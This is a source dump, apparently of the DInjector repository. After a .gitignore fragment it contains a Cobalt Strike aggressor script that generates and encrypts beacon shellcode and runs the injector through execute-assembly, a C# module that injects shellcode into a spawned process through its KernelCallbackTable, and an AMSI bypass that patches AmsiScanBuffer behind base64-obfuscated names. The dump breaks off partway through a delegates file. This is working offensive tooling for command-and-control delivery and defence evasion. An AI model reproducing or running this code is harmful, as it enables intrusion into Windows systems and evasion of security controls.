line to ignore bower_components 251 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 252 | #bower_components/ 253 | 254 | # RIA/Silverlight projects 255 | Generated_Code/ 256 | 257 | # Backup & report files from converting an old project file 258 | # to a newer Visual Studio version. Backup files are not needed, 259 | # because we have git ;-) 260 | _UpgradeReport_Files/ 261 | Backup*/ 262 | UpgradeLog*.XML 263 | UpgradeLog*.htm 264 | ServiceFabricBackup/ 265 | *.rptproj.bak 266 | 267 | # SQL Server files 268 | *.mdf 269 | *.ldf 270 | *.ndf 271 | 272 | # Business Intelligence projects 273 | *.rdl.data 274 | *.bim.layout 275 | *.bim_*.settings 276 | *.rptproj.rsuser 277 | *- [Bb]ackup.rdl 278 | *- [Bb]ackup ([0-9]).rdl 279 | *- [Bb]ackup ([0-9][0-9]).rdl 280 | 281 | # Microsoft Fakes 282 | FakesAssemblies/ 283 | 284 | # GhostDoc plugin setting file 285 | *.GhostDoc.xml 286 | 287 | # Node.js Tools for Visual Studio 288 | .ntvs_analysis.dat 289 | node_modules/ 290 | 291 | # Visual Studio 6 build log 292 | *.plg 293 | 294 | # Visual Studio 6 workspace options file 295 | *.opt 296 | 297 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 298 | *.vbw 299 | 300 | # Visual Studio LightSwitch build output 301 | **/*.HTMLClient/GeneratedArtifacts 302 | **/*.DesktopClient/GeneratedArtifacts 303 | **/*.DesktopClient/ModelManifest.xml 304 | **/*.Server/GeneratedArtifacts 305 | **/*.Server/ModelManifest.xml 306 | _Pvt_Extensions 307 | 308 | # Paket dependency manager 309 | .paket/paket.exe 310 | paket-files/ 311 | 312 | # FAKE - F# Make 313 | .fake/ 314 | 315 | # CodeRush personal settings 316 | .cr/personal 317 | 318 | # Python Tools for Visual Studio (PTVS) 319 | __pycache__/ 320 | *.pyc 321 | 322 | # Cake - Uncomment if you are using it 323 | # tools/** 324 | # !tools/packages.config 325 | 326 | # Tabs Studio 327 | *.tss 328 | 329 | # Telerik's JustMock configuration file 330 | *.jmconfig 331 | 332 | # BizTalk build output 333 | *.btp.cs 334 | *.btm.cs 335 | *.odx.cs 336 | *.xsd.cs 337 | 338 | # OpenCover UI analysis results 339 | OpenCover/ 340 | 341 | # Azure Stream Analytics local run output 342 | ASALocalRun/ 343 | 344 | # MSBuild Binary and Structured Log 345 | *.binlog 346 | 347 | # NVidia Nsight GPU debugger configuration file 348 | *.nvuser 349 | 350 | # MFractors (Xamarin productivity tool) working folder 351 | .mfractor/ 352 | 353 | # Local History for Visual Studio 354 | .localhistory/ 355 | 356 | # BeatPulse healthcheck temp database 357 | healthchecksdb 358 | 359 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 360 | MigrationBackup/ 361 | 362 | # Ionide (cross platform F# VS Code tools) working folder 363 | .ionide/ 364 | 365 | # Fody - auto-generated XML schema 366 | FodyWeavers.xsd 367 | 368 | # VS Code files for those working on multiple tools 369 | .vscode/* 370 | !.vscode/settings.json 371 | !.vscode/tasks.json 372 | !.vscode/launch.json 373 | !.vscode/extensions.json 374 | *.code-workspace 375 | 376 | # Local History for Visual Studio Code 377 | .history/ 378 | 379 | # Windows Installer files from build outputs 380 | *.cab 381 | *.msi 382 | *.msix 383 | *.msm 384 | *.msp 385 | 386 | # JetBrains Rider 387 | .idea/ 388 | *.sln.iml 389 | -------------------------------------------------------------------------------- /DInjector.cna: -------------------------------------------------------------------------------- 1 | sub dinject { 2 | 3 | local('%options $bid $handle $shellcode_filename $raw_shellcode $enc_shellcode $pass $cmd $python_cmd $tmp'); 4 | 5 | show_message("DInjector initiated! Wait for the beacon to call home"); 6 | 7 | %options = $3; 8 | $bid = %options["bid"]; 9 | 10 | btask($bid, "\c7Tasked beacon to execute DInjector.exe assembly\o", "T1055"); 11 | 12 | # Choose shellcode 13 | if (strlen(%options["custom_shellcode"]) > 0) { 14 | # Custom shellcode 15 | $shellcode_filename = %options["custom_shellcode"]; 16 | } 17 | else { 18 | # Generate beacon 19 | $shellcode_filename = "/tmp/beacon.bin"; 20 | 21 | if (%options["staged"] eq "true") { 22 | $raw_shellcode = payload(%options["listener"], "x64", %options["exitfunc"]); 23 | } 24 | else { 25 | $raw_shellcode = artifact_payload(%options["listener"], "raw", "x64"); 26 | } 27 | 28 | $handle = openf(">$shellcode_filename"); 29 | writeb($handle, $raw_shellcode); 30 | wait($handle); 31 | closef($handle); 32 | } 33 | 34 | # Start building the DInjector command assigning the injection technique first 35 | $cmd = %options["technique"]; 36 | 37 | # Encrypt the shellcode based on the selected injection technique 38 | $pass = gen_random_string(8, 12); 39 | 40 | @python_cmd = @("python3", script_resource("encrypt.py"), "$shellcode_filename", "-p", "$pass", "-o", "/tmp/enc"); 41 | if ($cmd eq "CurrentThreadUuid") { 42 | push(@python_cmd, "--uuid"); 43 | } 44 | 45 | $handle = exec(@python_cmd); 46 | wait($handle); 47 | closef($handle); 48 | 49 | # Read encrypted shellcode and base64 encode it 50 | $handle = openf("/tmp/enc"); 51 | $enc_shellcode = readb($handle, -1); 52 | wait($handle); 53 | closef($handle); 54 | $cmd .= " /sc:" . base64_encode($enc_shellcode); 55 | 56 | # Construct the rest of the DInjector command 57 | $cmd .= " /p:$pass"; 58 | $cmd .= " /protect:" . %options["protect"]; 59 | $cmd .= " /timeout:" . %options["timeout"]; 60 | $cmd .= " /flipSleep:" . %options["flipSleep"]; 61 | $cmd .= " /fluctuate:" . %options["fluctuate"]; 62 | $cmd .= " /image:" . %options["image"]; 63 | $cmd .= " /pid:" . %options["pid"]; 64 | $cmd .= " /ppid:" . %options["ppid"]; 65 | $cmd .= " /dll:" . %options["dll"]; 66 | $cmd .= " /stompDll:" . %options["stompDll"]; 67 | $cmd .= " /stompExport:" . %options["stompExport"]; 68 | $cmd .= " /sleep:" . %options["sleep"]; 69 | $cmd .= " /am51:" . %options["am51"]; 70 | $cmd .= " /remoteAm51:" . %options["remoteAm51"]; 71 | 72 | if (%options["blockDlls"] eq "true") { 73 | $cmd .= " /blockDlls:True"; 74 | } 75 | 76 | if (%options["unhook"] eq "true") { 77 | $cmd .= " /unhook:True"; 78 | } 79 | 80 | if (%options["debug"] eq "true") { 81 | $cmd .= " /debug:True"; 82 | } 83 | 84 | # Execute DInjector 85 | bexecute_assembly($bid, script_resource("DInjector.exe"), "$cmd"); 86 | 87 | blog($bid, "\c7Executed command\cF:\cD execute-assembly DInjector.exe " 88 | . %options["technique"] . " /sc:" . " /p:$pass" . " /protect:" . %options["protect"] 89 | . " /timeout:" . %options["timeout"] . " /flipSleep:" . %options["flipSleep"] . " /fluctuate:" . %options["fluctuate"] 90 | . " /image:" . %options["image"] . " /pid:" . %options["pid"] . " /ppid:" . %options["ppid"] . " /dll:" . %options["dll"] 91 | . " /stompDll:" . %options["stompDll"] . " /stompExport:" . %options["stompExport"] . " /sleep:" . %options["sleep"] 92 | . " /blockDlls:" . %options["blockDlls"] . " /am51:" . %options["am51"] . "/remoteAm51:" . %options["remoteAm51"] 93 | . " /unhook:" . %options["unhook"] . " /debug:" . %options["debug"]); 94 | } 95 | 96 | sub gen_random_string { 97 | 98 | local('@alphabet $len $i $str'); 99 | 100 | @alphabet = @("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f","g","h","i","j","k", 101 | "l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F", 102 | "G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"); 103 | 104 | # Random string of length between $1 and $2 105 | $len = rand($1) + $2; 106 | for($i = 0; $i < $len; $i++) { 107 | $str .= rand(@alphabet); 108 | } 109 | 110 | return $str; 111 | } 112 | 113 | popup beacon_bottom { 114 | item "DInjector" { 115 | 116 | local('$dialog %options'); 117 | 118 | %options["bid"] = $1[0]; 119 | 120 | # Setup options values 121 | %options["staged"] = "false"; 122 | %options["exitfunc"] = "Process"; 123 | %options["technique"] = "CurrentThread"; 124 | %options["protect"] = "RX"; 125 | %options["timeout"] = "0"; 126 | %options["flipSleep"] = "0"; 127 | %options["fluctuate"] = "0"; 128 | %options["image"] = "C:\\Windows\\System32\\svchost.exe"; 129 | %options["pid"] = "0"; 130 | %options["ppid"] = "0"; 131 | %options["dll"] = "msvcp_win.dll"; 132 | %options["stompDll"] = "xpsservices.dll"; 133 | %options["stompExport"] = "DllCanUnloadNow"; 134 | %options["blockDlls"] = "true"; 135 | %options["sleep"] = "0"; 136 | %options["am51"] = "True"; 137 | %options["remoteAm51"] = "True"; 138 | %options["unhook"] = "false"; 139 | %options["debug"] = "false"; 140 | 141 | # Create a dialog 142 | $dialog = dialog("Dynamic Shellcode Injection", %options, &dinject); 143 | 144 | dialog_description($dialog, "Perform dynamic shellcode injection using a technique preferrable in current environment. WARNING: the beacon console may be flushed after execution!"); 145 | 146 | drow_file($dialog, "custom_shellcode", "[/sc] Custom shellcode:"); 147 | 148 | drow_listener_stage($dialog, "listener", "Listener:"); 149 | drow_checkbox($dialog, "staged", "Stage type (beacon payload):", "Use staged payload"); 150 | drow_combobox($dialog, "exitfunc", "Exit function (staged beacon payload):", @("Process", 151 | "Thread")); 152 | 153 | drow_combobox($dialog, "technique", "Injection technique:", @("FunctionPointer", 154 | "FunctionPointerUnsafe", 155 | "TimeFormats", 156 | "ClipboardPointer", 157 | "CurrentThread", 158 | "CurrentThreadUuid", 159 | "RemoteThread", 160 | "RemoteThreadDll", 161 | "RemoteThreadView", 162 | "RemoteThreadKernelCB", 163 | "RemoteThreadAPC", 164 | "RemoteThreadContext", 165 | "ProcessHollowing", 166 | "ModuleStomping")); 167 | 168 | drow_text($dialog, "protect", "[/protect] Memory protection for the shellcode (RX / RWX):"); 169 | drow_text($dialog, "timeout", "[/timeout] Timeout for WaitForSingleObject in ms (0 is serve forever):"); 170 | drow_text($dialog, "flipSleep", "[/flipSleep] Time to sleep with PAGE_NOACCESS on shellcode in ms (0 is disabled):"); 171 | drow_text($dialog, "fluctuate", "[/fluctuate] Memory protection for the shellcode to fluctuate with (0 is disabled):"); 172 | drow_text($dialog, "image", "[/image] Path to the image of a newly spawned sacrifical process to inject into:"); 173 | drow_text($dialog, "pid", "[/pid] Existing process ID to inject into:"); 174 | drow_text($dialog, "ppid", "[/ppid] Parent process ID to spoof the original value with:"); 175 | drow_text($dialog, "dll", "[/dll] Loaded DLL name to overwrite its .text section for storing the shellcode:"); 176 | drow_text($dialog, "stompDll", "[/stompDll] Name of the DLL to stomp:"); 177 | drow_text($dialog, "stompExport", "[/stompExport] Exported function name to overwrite:"); 178 | drow_text($dialog, "sleep", "[/sleep] Number of seconds (approx.) to sleep before execution (10s-60s)"); 179 | 180 | drow_combobox($dialog, "am51", "[/am51] AMSI (local):", @("False", 181 | "True", 182 | "Force")); 183 | 184 | drow_combobox($dialog, "remoteAm51", "[/remoteAm51] AMSI (remote):", @("False", 185 | "True", 186 | "Force")); 187 | 188 | drow_checkbox($dialog, "blockDlls", "[/blockDlls] DLLs:", "Block 3rd-party DLLs"); 189 | drow_checkbox($dialog, "unhook", "[/unhook] Unhook:", "Unhook ntdll.dll"); 190 | drow_checkbox($dialog, "debug", "[/debug] Debug:", "Print debug messages"); 191 | 192 | dbutton_action($dialog, "Inject"); 193 | 194 | # Show the dialog 195 | dialog_show($dialog); 196 | } 197 | } 198 | -------------------------------------------------------------------------------- /DInjector/Modules/RemoteThreadKernelCB.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.Runtime.InteropServices; 4 | 5 | using DI = DInvoke; 6 | using static DInvoke.Data.Native; 7 | 8 | namespace DInjector 9 | { 10 | class RemoteThreadKernelCB 11 | { 12 | public static void Execute(byte[] shellcode, string processImage, int ppid = 0, bool blockDlls = false, bool am51 = false, bool debug = false) 13 | { 14 | #region CreateProcessA 15 | 16 | var pi = SpawnProcess.Execute( 17 | processImage, 18 | @"C:\Windows\System32", 19 | suspended: false, 20 | ppid: ppid, 21 | blockDlls: blockDlls, 22 | am51: am51); 23 | 24 | IntPtr hProcess = pi.hProcess; 25 | _ = Win32.WaitForInputIdle(hProcess, 2000); 26 | 27 | #endregion 28 | 29 | #region NtQueryInformationProcess 30 | 31 | PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION(); 32 | uint returnLength = 0; 33 | 34 | var ntstatus = Syscalls.NtQueryInformationProcess( 35 | hProcess, 36 | PROCESSINFOCLASS.ProcessBasicInformation, 37 | ref bi, 38 | (uint)(IntPtr.Size * 6), 39 | ref returnLength); 40 | 41 | if (ntstatus == NTSTATUS.Success) 42 | Console.WriteLine("(RemoteThreadKernelCB) [+] NtQueryInformationProcess"); 43 | else 44 | throw new Exception($"(RemoteThreadKernelCB) [-] NtQueryInformationProcess: {ntstatus}"); 45 | 46 | IntPtr kernelCallbackAddress = (IntPtr)((Int64)bi.PebBaseAddress + 0x58); 47 | 48 | #endregion 49 | 50 | #region NtReadVirtualMemory (kernelCallbackAddress) 51 | 52 | IntPtr kernelCallback = Marshal.AllocHGlobal(IntPtr.Size); 53 | uint bytesRead = 0; 54 | 55 | ntstatus = Syscalls.NtReadVirtualMemory( 56 | hProcess, 57 | kernelCallbackAddress, 58 | kernelCallback, 59 | (uint)IntPtr.Size, 60 | ref bytesRead); 61 | 62 | if (ntstatus == NTSTATUS.Success) 63 | Console.WriteLine("(RemoteThreadKernelCB) [+] NtReadVirtualMemory, kernelCallbackAddress"); 64 | else 65 | throw new Exception($"(RemoteThreadKernelCB) [-] NtReadVirtualMemory, kernelCallbackAddress: {ntstatus}"); 66 | 67 | byte[] kernelCallbackBytes = new byte[bytesRead]; 68 | Marshal.Copy(kernelCallback, kernelCallbackBytes, 0, (int)bytesRead); 69 | Marshal.FreeHGlobal(kernelCallback); 70 | IntPtr kernelCallbackValue = (IntPtr)BitConverter.ToInt64(kernelCallbackBytes, 0); 71 | 72 | #endregion 73 | 74 | #region NtReadVirtualMemory (kernelCallbackValue) 75 | 76 | int dataSize = Marshal.SizeOf(typeof(Win32.KernelCallBackTable)); 77 | IntPtr data = Marshal.AllocHGlobal(dataSize); 78 | bytesRead = 0; 79 | 80 | ntstatus = Syscalls.NtReadVirtualMemory( 81 | hProcess, 82 | kernelCallbackValue, 83 | data, 84 | (uint)dataSize, 85 | ref bytesRead); 86 | 87 | if (ntstatus == NTSTATUS.Success) 88 | Console.WriteLine("(RemoteThreadKernelCB) [+] NtReadVirtualMemory, kernelCallbackValue"); 89 | else 90 | throw new Exception($"(RemoteThreadKernelCB) [-] NtReadVirtualMemory, kernelCallbackValue: {ntstatus}"); 91 | 92 | Win32.KernelCallBackTable kernelStruct = (Win32.KernelCallBackTable)Marshal.PtrToStructure(data, typeof(Win32.KernelCallBackTable)); 93 | Marshal.FreeHGlobal(data); 94 | 95 | #endregion 96 | 97 | #region NtReadVirtualMemory (kernelStruct.fnCOPYDATA) 98 | 99 | IntPtr origData = Marshal.AllocHGlobal(shellcode.Length); 100 | bytesRead = 0; 101 | 102 | ntstatus = Syscalls.NtReadVirtualMemory( 103 | hProcess, 104 | kernelStruct.fnCOPYDATA, 105 | origData, 106 | (uint)shellcode.Length, 107 | ref bytesRead); 108 | 109 | if (ntstatus == NTSTATUS.Success) 110 | Console.WriteLine("(RemoteThreadKernelCB) [+] NtReadVirtualMemory, kernelStruct.fnCOPYDATA"); 111 | else 112 | throw new Exception($"(RemoteThreadKernelCB) [-] NtReadVirtualMemory, kernelStruct.fnCOPYDATA: {ntstatus}"); 113 | 114 | #endregion 115 | 116 | #region NtProtectVirtualMemory (PAGE_READWRITE) 117 | 118 | IntPtr protectAddress = kernelStruct.fnCOPYDATA; 119 | IntPtr regionSize = (IntPtr)shellcode.Length; 120 | uint oldProtect = 0; 121 | 122 | ntstatus = Syscalls.NtProtectVirtualMemory( 123 | hProcess, 124 | ref protectAddress, 125 | ref regionSize, 126 | DI.Data.Win32.WinNT.PAGE_READWRITE, 127 | ref oldProtect); 128 | 129 | if (ntstatus == NTSTATUS.Success) 130 | Console.WriteLine("(RemoteThreadKernelCB) [+] NtProtectVirtualMemory, PAGE_READWRITE"); 131 | else 132 | throw new Exception($"(RemoteThreadKernelCB) [-] NtProtectVirtualMemory, PAGE_READWRITE: {ntstatus}"); 133 | 134 | #endregion 135 | 136 | #region NtWriteVirtualMemory (shellcode) 137 | 138 | var buffer = Marshal.AllocHGlobal(shellcode.Length); 139 | Marshal.Copy(shellcode, 0, buffer, shellcode.Length); 140 | 141 | uint bytesWritten = 0; 142 | 143 | ntstatus = Syscalls.NtWriteVirtualMemory( 144 | hProcess, 145 | kernelStruct.fnCOPYDATA, 146 | buffer, 147 | (uint)shellcode.Length, 148 | ref bytesWritten); 149 | 150 | if (ntstatus == NTSTATUS.Success) 151 | Console.WriteLine("(RemoteThreadKernelCB) [+] NtWriteVirtualMemory, shellcode"); 152 | else 153 | throw new Exception($"(RemoteThreadKernelCB) [-] NtWriteVirtualMemory, shellcode: {ntstatus}"); 154 | 155 | Marshal.FreeHGlobal(buffer); 156 | 157 | #endregion 158 | 159 | #region NtProtectVirtualMemory (oldProtect) 160 | 161 | protectAddress = kernelStruct.fnCOPYDATA; 162 | regionSize = (IntPtr)shellcode.Length; 163 | uint tmpProtect = 0; 164 | 165 | ntstatus = Syscalls.NtProtectVirtualMemory( 166 | hProcess, 167 | ref protectAddress, 168 | ref regionSize, 169 | oldProtect, 170 | ref tmpProtect); 171 | 172 | if (ntstatus == NTSTATUS.Success) 173 | Console.WriteLine("(RemoteThreadKernelCB) [+] NtProtectVirtualMemory, oldProtect"); 174 | else 175 | throw new Exception($"(RemoteThreadKernelCB) [-] NtProtectVirtualMemory, oldProtect: {ntstatus}"); 176 | 177 | #endregion 178 | 179 | #region FindWindowExA 180 | 181 | IntPtr hWindow = Win32.FindWindowExA(IntPtr.Zero, IntPtr.Zero, Process.GetProcessById((int)pi.dwProcessId).ProcessName, null); 182 | 183 | #endregion 184 | 185 | #region SendMessageA 186 | 187 | string msg = "Trigger\0"; 188 | var cds = new Win32.COPYDATASTRUCT 189 | { 190 | dwData = new IntPtr(3), 191 | cbData = msg.Length, 192 | lpData = msg 193 | }; 194 | 195 | _ = Win32.SendMessageA(hWindow, Win32.WM_COPYDATA, IntPtr.Zero, ref cds); 196 | 197 | #endregion 198 | 199 | #region NtProtectVirtualMemory (PAGE_READWRITE) 200 | 201 | protectAddress = kernelStruct.fnCOPYDATA; 202 | regionSize = (IntPtr)shellcode.Length; 203 | oldProtect = 0; 204 | 205 | ntstatus = Syscalls.NtProtectVirtualMemory( 206 | hProcess, 207 | ref protectAddress, 208 | ref regionSize, 209 | DI.Data.Win32.WinNT.PAGE_READWRITE, 210 | ref oldProtect); 211 | 212 | if (ntstatus == NTSTATUS.Success) 213 | Console.WriteLine("(RemoteThreadKernelCB) [+] NtProtectVirtualMemory, PAGE_READWRITE"); 214 | else 215 | throw new Exception($"(RemoteThreadKernelCB) [-] NtProtectVirtualMemory, PAGE_READWRITE: {ntstatus}"); 216 | 217 | #endregion 218 | 219 | #region NtWriteVirtualMemory (origData) 220 | 221 | bytesWritten = 0; 222 | 223 | ntstatus = Syscalls.NtWriteVirtualMemory( 224 | hProcess, 225 | kernelStruct.fnCOPYDATA, 226 | origData, 227 | (uint)shellcode.Length, 228 | ref bytesWritten); 229 | 230 | if (ntstatus == NTSTATUS.Success) 231 | Console.WriteLine("(RemoteThreadKernelCB) [+] NtWriteVirtualMemory, origData"); 232 | else 233 | throw new Exception($"(RemoteThreadKernelCB) [-] NtWriteVirtualMemory, origData: {ntstatus}"); 234 | 235 | Marshal.FreeHGlobal(origData); 236 | 237 | #endregion 238 | 239 | #region NtProtectVirtualMemory (oldProtect) 240 | 241 | protectAddress = kernelStruct.fnCOPYDATA; 242 | regionSize = (IntPtr)shellcode.Length; 243 | tmpProtect = 0; 244 | 245 | ntstatus = Syscalls.NtProtectVirtualMemory( 246 | hProcess, 247 | ref protectAddress, 248 | ref regionSize, 249 | oldProtect, 250 | ref tmpProtect); 251 | 252 | if (ntstatus == NTSTATUS.Success) 253 | Console.WriteLine("(RemoteThreadKernelCB) [+] NtProtectVirtualMemory, oldProtect"); 254 | else 255 | throw new Exception($"(RemoteThreadKernelCB) [-] NtProtectVirtualMemory, oldProtect: {ntstatus}"); 256 | 257 | #endregion 258 | 259 | Syscalls.NtClose(hWindow); 260 | Syscalls.NtClose(hProcess); 261 | } 262 | } 263 | } 264 | -------------------------------------------------------------------------------- /DInjector/Utils/AM51.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Text; 3 | using System.Diagnostics; 4 | using System.Runtime.InteropServices; 5 | 6 | using DI = DInvoke; 7 | using static DInvoke.Data.Native; 8 | 9 | namespace DInjector 10 | { 11 | class AM51 12 | { 13 | // mov eax,0x80070057 (E_INVALIDARG); ret 14 | static readonly byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; 15 | //static readonly byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; 16 | 17 | // xor rax, rax 18 | //static readonly byte[] x64 = new byte[] { 0x48, 0x31, 0xC0 }; 19 | 20 | public static void Patch(IntPtr processHandle = default(IntPtr), int processID = 0, bool force = false) 21 | { 22 | ChangeBytes(x64, processHandle, processID, force); 23 | } 24 | 25 | static void ChangeBytes(byte[] patch, IntPtr processHandle, int processID, bool force) 26 | { 27 | try 28 | { 29 | #region GetLibraryAddress 30 | 31 | // "amsi.dll" 32 | var libNameB64 = new char[] { 'Y', 'W', '1', 'z', 'a', 'S', '5', 'k', 'b', 'G', 'w', '=' }; 33 | var libName = Encoding.UTF8.GetString(Convert.FromBase64String(string.Join("", libNameB64))); 34 | 35 | // "AmsiScanBuffer" 36 | var funcNameB64 = new char[] { 'Q', 'W', '1', 'z', 'a', 'V', 'N', 'j', 'Y', 'W', '5', 'C', 'd', 'W', 'Z', 'm', 'Z', 'X', 'I', '=' }; 37 | var funcName = Encoding.UTF8.GetString(Convert.FromBase64String(string.Join("", funcNameB64))); 38 | 39 | var funcAddress = IntPtr.Zero; 40 | try 41 | { 42 | funcAddress = DI.DynamicInvoke.Generic.GetLibraryAddress(libName, funcName, CanLoadFromDisk: force); 43 | } 44 | catch (Exception e) 45 | { 46 | Console.WriteLine($"(AM51|force:{force}) [!] {e.Message}, skipping"); 47 | return; 48 | } 49 | 50 | IntPtr regionSize = IntPtr.Zero; 51 | NTSTATUS ntstatus = 0; 52 | 53 | if (processHandle != IntPtr.Zero) // if targeting a remote process, calculate remote address of AmsiScanBuffer 54 | { 55 | var libAddress = DI.DynamicInvoke.Generic.GetLoadedModuleAddress(libName); 56 | var offset = (long)funcAddress - (long)libAddress; 57 | 58 | if (force) 59 | { 60 | var loadLibraryAddress = DI.DynamicInvoke.Generic.GetLibraryAddress("kernel32.dll", "LoadLibraryA"); 61 | 62 | #region NtAllocateVirtualMemory (bLibName, PAGE_READWRITE) 63 | 64 | IntPtr remoteLibAddress = IntPtr.Zero; 65 | var bLibName = Encoding.ASCII.GetBytes(libName); 66 | regionSize = new IntPtr(bLibName.Length + 2); 67 | 68 | ntstatus = Syscalls.NtAllocateVirtualMemory( 69 | processHandle, 70 | ref remoteLibAddress, 71 | IntPtr.Zero, 72 | ref regionSize, 73 | DI.Data.Win32.Kernel32.MEM_COMMIT | DI.Data.Win32.Kernel32.MEM_RESERVE, 74 | DI.Data.Win32.WinNT.PAGE_READWRITE); 75 | 76 | if (ntstatus == NTSTATUS.Success) 77 | Console.WriteLine($"(AM51|force:{force}) [+] NtAllocateVirtualMemory (bLibNameLength), PAGE_READWRITE"); 78 | else 79 | throw new Exception($"(AM51|force:{force}) [-] NtAllocateVirtualMemory (bLibNameLength), PAGE_READWRITE: {ntstatus}"); 80 | 81 | #endregion 82 | 83 | #region NtWriteVirtualMemory (bLibName) 84 | 85 | var buffer = Marshal.AllocHGlobal(bLibName.Length); 86 | Marshal.Copy(bLibName, 0, buffer, bLibName.Length); 87 | 88 | uint bytesWritten = 0; 89 | 90 | ntstatus = Syscalls.NtWriteVirtualMemory( 91 | processHandle, 92 | remoteLibAddress, 93 | buffer, 94 | (uint)bLibName.Length, 95 | ref bytesWritten); 96 | 97 | if (ntstatus == NTSTATUS.Success) 98 | Console.WriteLine($"(AM51|force:{force}) [+] NtWriteVirtualMemory, bLibName"); 99 | else 100 | throw new Exception($"(AM51|force:{force}) [-] NtWriteVirtualMemory, bLibName: {ntstatus}"); 101 | 102 | Marshal.FreeHGlobal(buffer); 103 | 104 | #endregion 105 | 106 | #region NtCreateThreadEx (LoadLibraryA) 107 | 108 | IntPtr hThread = IntPtr.Zero; 109 | 110 | ntstatus = Syscalls.NtCreateThreadEx( 111 | ref hThread, 112 | DI.Data.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, 113 | IntPtr.Zero, 114 | processHandle, 115 | loadLibraryAddress, 116 | remoteLibAddress, 117 | false, 118 | 0, 119 | 0, 120 | 0, 121 | IntPtr.Zero); 122 | 123 | if (ntstatus == NTSTATUS.Success) 124 | Console.WriteLine($"(AM51|force:{force}) [+] NtCreateThreadEx, LoadLibraryA"); 125 | else 126 | throw new Exception($"(AM51|force:{force}) [-] NtCreateThreadEx, LoadLibraryA: {ntstatus}"); 127 | 128 | System.Threading.Thread.Sleep(2000); // sleep till the DLL loads 129 | 130 | #endregion 131 | } 132 | 133 | var dllNotFound = true; 134 | using var process = Process.GetProcessById(processID); 135 | 136 | foreach (ProcessModule module in process.Modules) 137 | { 138 | if (!module.ModuleName.Equals(libName, StringComparison.OrdinalIgnoreCase)) continue; 139 | 140 | funcAddress = new IntPtr((long)module.BaseAddress + offset); 141 | dllNotFound = false; 142 | break; 143 | } 144 | 145 | if (dllNotFound) 146 | { 147 | Console.WriteLine($"(AM51|force:{force}) [!] DLL not found in remote process, skipping"); 148 | return; 149 | } 150 | } 151 | 152 | #endregion 153 | 154 | #region NtProtectVirtualMemory (PAGE_READWRITE) 155 | 156 | IntPtr protectAddress = funcAddress; 157 | regionSize = (IntPtr)patch.Length; 158 | uint oldProtect = 0; 159 | 160 | ntstatus = Syscalls.NtProtectVirtualMemory( 161 | processHandle, 162 | ref protectAddress, 163 | ref regionSize, 164 | DI.Data.Win32.WinNT.PAGE_READWRITE, 165 | ref oldProtect); 166 | 167 | if (ntstatus == NTSTATUS.Success) 168 | Console.WriteLine($"(AM51|force:{force}) [+] NtProtectVirtualMemory, PAGE_READWRITE"); 169 | else 170 | throw new Exception($"(AM51|force:{force}) [-] NtProtectVirtualMemory, PAGE_READWRITE: {ntstatus}"); 171 | 172 | #endregion 173 | 174 | if (processHandle != IntPtr.Zero) // if targeting a remote process, use NtWriteVirtualMemory 175 | { 176 | #region NtWriteVirtualMemory (patch) 177 | 178 | var buffer = Marshal.AllocHGlobal(patch.Length); 179 | Marshal.Copy(patch, 0, buffer, patch.Length); 180 | 181 | uint bytesWritten = 0; 182 | 183 | Console.WriteLine($"(AM51|force:{force}) [>] Patching in remote process at address: " + string.Format("{0:X}", funcAddress.ToInt64())); 184 | ntstatus = Syscalls.NtWriteVirtualMemory( 185 | processHandle, 186 | funcAddress, 187 | buffer, 188 | (uint)patch.Length, 189 | ref bytesWritten); 190 | 191 | if (ntstatus == NTSTATUS.Success) 192 | Console.WriteLine($"(AM51|force:{force}) [+] NtWriteVirtualMemory, patch"); 193 | else 194 | throw new Exception($"(AM51|force:{force}) [-] NtWriteVirtualMemory, patch: {ntstatus}"); 195 | 196 | Marshal.FreeHGlobal(buffer); 197 | 198 | #endregion 199 | } 200 | else // otherwise (current process), use Copy 201 | { 202 | Console.WriteLine($"(AM51|force:{force}) [>] Patching in current process at address: " + string.Format("{0:X}", funcAddress.ToInt64())); 203 | Marshal.Copy(patch, 0, funcAddress, patch.Length); 204 | } 205 | 206 | #region NtProtectVirtualMemory (oldProtect) 207 | 208 | regionSize = (IntPtr)patch.Length; 209 | uint tmpProtect = 0; 210 | 211 | ntstatus = Syscalls.NtProtectVirtualMemory( 212 | processHandle, 213 | ref funcAddress, 214 | ref regionSize, 215 | oldProtect, 216 | ref tmpProtect); 217 | 218 | if (ntstatus == NTSTATUS.Success) 219 | Console.WriteLine($"(AM51|force:{force}) [+] NtProtectVirtualMemory, oldProtect"); 220 | else 221 | throw new Exception($"(AM51|force:{force}) [-] NtProtectVirtualMemory, oldProtect: {ntstatus}"); 222 | 223 | #endregion 224 | } 225 | catch (Exception e) 226 | { 227 | Console.WriteLine($"(AM51|force:{force}) [x] {e.Message}"); 228 | Console.WriteLine($"(AM51|force:{force}) [x] {e.InnerException}"); 229 | } 230 | } 231 | } 232 | } 233 | -------------------------------------------------------------------------------- /DInjector/API/Delegates.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | using DI = DInvoke; 5 | using static DInvoke.Data.Native; 6 | 7 | namespace DInjector 8 | { 9 | class Delegates 10 | { 11 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 12 | public delegate NTSTATUS NtOpenProcess( 13 | ref IntPtr ProcessHandle, 14 | DI.Data.Win32.Kernel32.ProcessAccessFlags DesiredAccess, 15 | ref Win32.OBJECT_ATTRIBUTES ObjectAttributes, 16 | ref Win32.CLIENT_ID ClientId); 17 | 18 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 19 | public delegate NTSTATUS NtAllocateVirtualMemory( 20 | IntPtr ProcessHandle, 21 | ref IntPtr BaseAddress, 22 | IntPtr ZeroBits, 23 | ref IntPtr RegionSize, 24 | uint AllocationType, 25 | uint Protect); 26 | 27 | [UnmanagedFunctionPointer(CallingConvention.StdCall)] 28 | public delegate NTSTATUS NtWriteVirtualMemory( 29 | 